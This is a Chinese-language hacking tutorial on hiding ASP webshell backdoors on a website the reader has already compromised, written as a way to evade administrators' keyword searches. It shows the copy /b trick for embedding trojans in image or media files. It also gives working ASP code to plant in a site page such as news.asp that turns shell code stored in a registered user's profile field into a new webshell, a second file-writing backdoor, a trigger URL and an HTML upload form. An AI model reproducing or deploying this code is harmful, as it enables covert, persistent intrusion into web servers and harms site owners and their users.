前言:好长时间了,从刚开始的站点管理器到现在流行的几款asp后门,相信大多网管都能说出这些经典webshell的名字,如海洋、老兵、蓝屏等,也相信大多数的网管学会了关键字的搜索方法来搜索这些木马,当然现在的时间如果再象隐藏后门就要讲些技巧啦,俗话说的好“佛高一尺,我高一丈”。
我不否认n早前的那个把asp木马写到图片文件中不失为一种好的方法,其实不仅可以写到图片啦写到mp3文件里写到doc文件里都是可以的啦。
copy 文件名/参数 + 文件名/参数 生成文件名
这样的方法可以很灵活的运用来达到隐藏文件的目的,具体的参数就是/a以acsic码方式,/b二进制方式,就不罗嗦这些了,至于如何上传webshell,什么是webshell也不属于本文的讨论范围。今天要讲的是如何把后门放到后缀.mdb的数据库中,前提是在我们拿到一个webshell之后……
我们所知道的,很多站点在用户注册的时候要让填好多东西例如:用户名、密码、QQ、邮箱、个人简介、电话、联系方式、住址一类的。而对应到数据库中也都会有相应的表、字段、值。我今天要做的就是,我注册一个用户在我的个人简介的地方上写入shell代码,然后修改他站点上的一个文件,使用的时候触发这个文件,就把我个人简历中的shell代码,备份到当前目录下。
废话少说了,大家看代码:
<%
if request("action")="firefox" then
fname=request.querystring("fn")
tname=request.querystring("tn")
bname=request.querystring("bn")
id=request.querystring("id")
idvalue=request.querystring("idv")
set rs=server.createobject("ADODB.recordset")
sql="select "& bname & " from "&tname& " where "&id&"="&idvalue&""""
rs.open sql,conn,1,3
if not rs.eof then
content=rs(bname)
else
response.write "Nothing"
end if
set fso=Server.createObject("Scripting.FileSystemObject")
set txtfile=fso.createtextfile(server.mappath(fname))
txtfile.writeline(content)
txtfile.close
end if
%>
将上边的代码加到站点的一个文件中,如news.asp。根据我们了解的信息,在其站点注册后,下载数据库看结构。我注册的firefox名字是在 user表,其id值为119 用于存放我注册简历的表字段为jl。
news.asp?action=firefox&fn=firefox.asp&tn=user&bn=jl&id=id&idv=119
那么在使用的时候我们就可以在news.asp相同目录下写入一个名为 firefox.asp的webshell。以上可以说是万千隐藏方法中的一种,下边再说另外一种更方便的隐藏方法,这个方法就和mdb后缀无关系了。
同样我们还是修改news.asp,将以下代码插入到对方news.asp中:
<%
if request("action")="firefox" then
n=request.form("n")
c=request.form("c")
set fso=Server.createObject("Scripting.FileSystemObject")
set txtfile=fso.createtextfile(server.mappath(n))
txtfile.writeline(c)
txtfile.close
end if
%>
这段代码相对简单些,算是一个木马的服务端吧。使用的时候以这段代码配合:
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<title>F.s.t火狐技术联盟[]</title>
<FORM action="?action ... method=post>
<META content="MSHTML 6.00.2900.2180" name=GENERATOR></HEAD>
<BODY>Name:<INPUT size=50
name=n width="32"><BR><BR>Shell:<TEXTAREA name=c rows=10 cols=80
width="32"></TEXTAREA><INPUT type=submit value=Save></FORM></BODY></HTML>
将以上代码中的:“?action=firefox”替换成你的服务端地址,然后保存为本地的.htm文件。本地打开后定义要生成的文件名、文件内容、远程提交, ok,又是一种留后门的方法。